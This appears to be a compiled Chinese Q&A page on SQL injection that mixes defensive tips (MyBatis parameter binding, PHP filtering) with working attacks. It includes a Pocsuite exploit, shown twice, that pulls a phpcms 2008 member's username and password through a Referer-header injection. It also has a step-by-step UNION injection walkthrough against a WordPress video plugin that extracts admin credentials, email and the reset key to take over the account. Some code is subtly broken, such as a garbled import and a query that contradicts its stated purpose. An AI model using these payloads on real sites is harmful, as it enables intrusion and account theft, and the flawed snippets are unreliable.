❶ sql手工注入限制了回顯長度,怎麼辦
按照我的經驗來看可能有安全軟體在伺服器上或者網站代碼里有防注入代碼。建議旁註或者C段用CAIN
❷ 【SQL】表中的空字元串與NULL中的區別何在
沒有什麼好壞,
區別就在查詢語句上。。。
NULL的查詢條件要寫成
where col is null
""的查詢條件要寫成
where col=""
主要是看你的系統的定義中有沒有對""和<NULL>有沒有特別的定義。。。
❸ 在mybatis的sql配置文件中怎樣使用like並防止sql注入攻擊
#{xxx},使用的是PreparedStatement,會有
類型轉換
,所以比較安全;
${xxx},使用字元串拼接,可以
SQL注入
;
like查詢不小心會有漏動,正確寫法如下:
Mysql:
select
*
from
t_user
where
name
like
concat('%',
#{name},
'%')
Oracle:
select
*
from
t_user
where
name
like
'%'
||
#{name}
||
'%'
SQLServer
:
select
*
from
t_user
where
name
like
'%'
+
#{name}
+
'%'
❹ 如何使用python編寫poc,exp
然後來談談自己的看法:
其實吧,無論烏雲的Tangscan也好,知道創宇的Pocsuite也好,還有Beebeeto也好(Bugscan沒寫過,不是特別了解不過應該差不多),關於Web的Poc和Exp,都極度依賴於兩個Python庫。
1. Requests : 模擬Web的請求和響應等交互動作。
2. Re : 正則表達式,用來驗證返回的結果是否符合漏洞的預期,從而驗證漏洞是否存在。
其餘的大部分代碼都是漏洞的信息。
Pocsuite官方文檔例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中廣告模塊,存在參數過濾不嚴,
導致了sql注入漏洞,如果對方伺服器開啟了錯誤顯示,可直接利用,
如果關閉了錯誤顯示,可以採用基於時間和錯誤的盲注
'''
samples = ['']
def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)
def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and '' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
可以看到從代碼11到28行都是漏洞的一些信息,真正的功能函數只有_attack和_verify兩個而已。甚至這個例子有點繁瑣了,現在大大們都是把exploit寫在verify裡面,所以真正起到功能的,也就不到十行的代碼。pocsuite.net 這個庫其實就是Requests。用Requests模擬手工注入的Post提交,用正則匹配提取和驗證必要信息,簡單說起來就是這兩個步驟。
這么一來你再看看其他的由Python寫的Poc和Exp就大同小異了。Poc/Exp總的說來就只是用程序代替手工的過程而已,所以了解了漏洞的原理和認證方法之後就簡單了。
代碼很簡單最主要的,還是對於漏洞的理解。
先說到這里,有空之後再寫一些別的。
❺ php防止sql注入漏洞有哪些函數
一個是沒有對輸入的數據進行過濾(過濾輸入),還有一個是沒有對發送到資料庫的數據進行轉義(轉義輸出)。這兩個重要的步驟缺一不可,需要同時加以特別關注以減少程序錯誤。
對於攻擊者來說,進行SQL注入攻擊需要思考和試驗,對資料庫方案進行有根有據的推理非常有必要(當然假設攻擊者看不到你的源程序和資料庫方案),考慮以下簡單的登錄表單:
<form action="/login.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Log In" /></p>
</form>
作為一個攻擊者,會從推測驗證用戶名和密碼的查詢語句開始。通過查看源文件,就能開始猜測站長的習慣。
比如命名習慣。通常會假設表單中的欄位名為與數據表中的欄位名相同。當然,確保它們不同未必是一個可靠的安全措施。
第一次猜測,一般會使用下面例子中的查詢:
<?php
$password_hash = md5($_POST['password']);
$sql = "SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '$password_hash'";
?>
當然,攻擊者未必在第一次就能猜中,常常還需要做一些試驗。有一個比較好的試驗方式是把單引號作為用戶名錄入,原因是這樣可能會暴露一些重要信息。有很多開發人員在Mysql語句執行出錯時會調用函數mysql_error()來報告錯誤。見下面的例子:
<?php
mysql_query($sql) or exit(mysql_error());
?>
關於SQL注入,不得不說的是現在大多虛擬主機都會把magic_quotes_gpc選項打開,在這種情況下所有的客戶端GET和POST的數據都會自動進行addslashes處理,所以此時對字元串值的SQL注入是不可行的,但要防止對數字值的SQL注入,如用intval()等函數進行處理。
❻ SQL Server中三個表兩兩關聯 怎麼實現查詢急!!
select a.*
from 學員表 a
inner join 校區表 b on a.所在學校=b.所在學校
inner join 管理員表 c on b.區域=c.區域
where c.用戶名=@用戶名 and c.密碼=@密碼
注意:最好把登陸和列表查詢分開來做,因為無論是從安全還是程序實現的角度來看,都比較好。
查詢語句:
SELECT p.id, p.url, p.description, GROUP_CONCAT(f.`name`)
from tb_pic p, tb_pic_flag_link l, tb_flag f
where p.id = l.pic_id and l.flag_id=f.id GROUP BY p.id;
❼ 如何sql注入漏洞攻破linux基礎web
SQL注入的基本原理
sql注入成因主要是對頁面參數沒有進行非法字元校驗導致,比如說一個訂單頁面要顯示某個客戶的所有訂單列表,這個頁面的地址可能是http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後台處理的sql應該是這樣的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下,這里的接收的參數{$_GET['customID']}的值應該是傳入的值3,這樣頁面就能正確的把所有客戶ID等於3的訂單信息顯示到頁面上。但是,如果這個參數被人惡意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的參數拼裝成的sql就成了這樣:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意sql後,訂單列表頁顯示的就不是訂單信息了,而是資料庫中用戶的名稱和密碼,或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用戶名,管理員郵箱地址,通過郵箱重置管理員密碼,登錄超級管理員後台。
All Video Gallery插件的漏洞簡介
安裝了All Video Gallery插件的Wordpress博客里會有這樣的一個地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置信息,問題就出在pid這個參數上,程序後台顯然沒有嚴格檢查這個參數,我們將利用這個參數進行sql注入。
WordPress是一個開源的平台,我們很容易弄清楚用戶表的表名是wp_users,存放用戶名,密碼,郵件地址的欄位分別是user_login,user_pass,user_email,我們下面將要把用戶信息表注入進去。
獲取超級管理員用戶名
為了獲取用戶表中的用戶名,我們注入的sql是這樣的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
獲取超級管理員郵件地址
我們可以直接獲取用戶的密碼,但很顯然,密碼都是加密的,無法使用,我們這里使用另外一種思路,先獲取用戶的郵件地址,然後使用這個郵件重置用戶的密碼。
要獲取郵件地址,我們需要將上面的sql中的欄位名改成user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
重置管理員密碼
WordPress的後台登陸地址是http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點擊Lost your password?鏈接,輸入上面獲取的管理員郵件。
這樣做了之後,Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣
的方法獲取這個激活碼,自己拼裝出密碼重置地址。存放激活碼的欄位是user_activation_key,我們的sql注入地址改成下面這樣:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
有了激活碼,我們就可以拼裝出裝置密碼的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面:
總結
我們的黑客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊,而是要提醒大家防範安全漏洞,
所謂知己知彼,方能百戰不殆,程序員應當對基本的黑客攻擊方式有一些了解,針對性的在編程時避免造成類似sql注入的安全漏洞,構築更健壯的軟體。
❽ sql注入,這個char(32,58,32)什麼意思
char(32)代表一個空格" ",char(58)代表一個冒號":"
所以在SQL注入中返回的結果就會是多了(空格冒號空格)
也就是這個" : "
(這里的引號「」是給你指出內容)
具體效果你可以去注入實驗一下
❾ sql注入中用來返回當前資料庫的函數是
摘要 親,返回當前使用資料庫函數是database()。
❿ 基於Python 來編寫 Poc/Exp 該怎麼入門
Pocsuite官方文檔例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['http://www.sebug.net/vuldb/ssvid-62274']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = 'http://www.phpcms.cn'
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中廣告模塊,存在參數過濾不嚴,
導致了sql注入漏洞,如果對方伺服器開啟了錯誤顯示,可直接利用,
如果關閉了錯誤顯示,可以採用基於時間和錯誤的盲注
'''
samples = ['http://10.1.200.28/']
def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry '1--(.+)---(.+)--' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)
def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and '' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)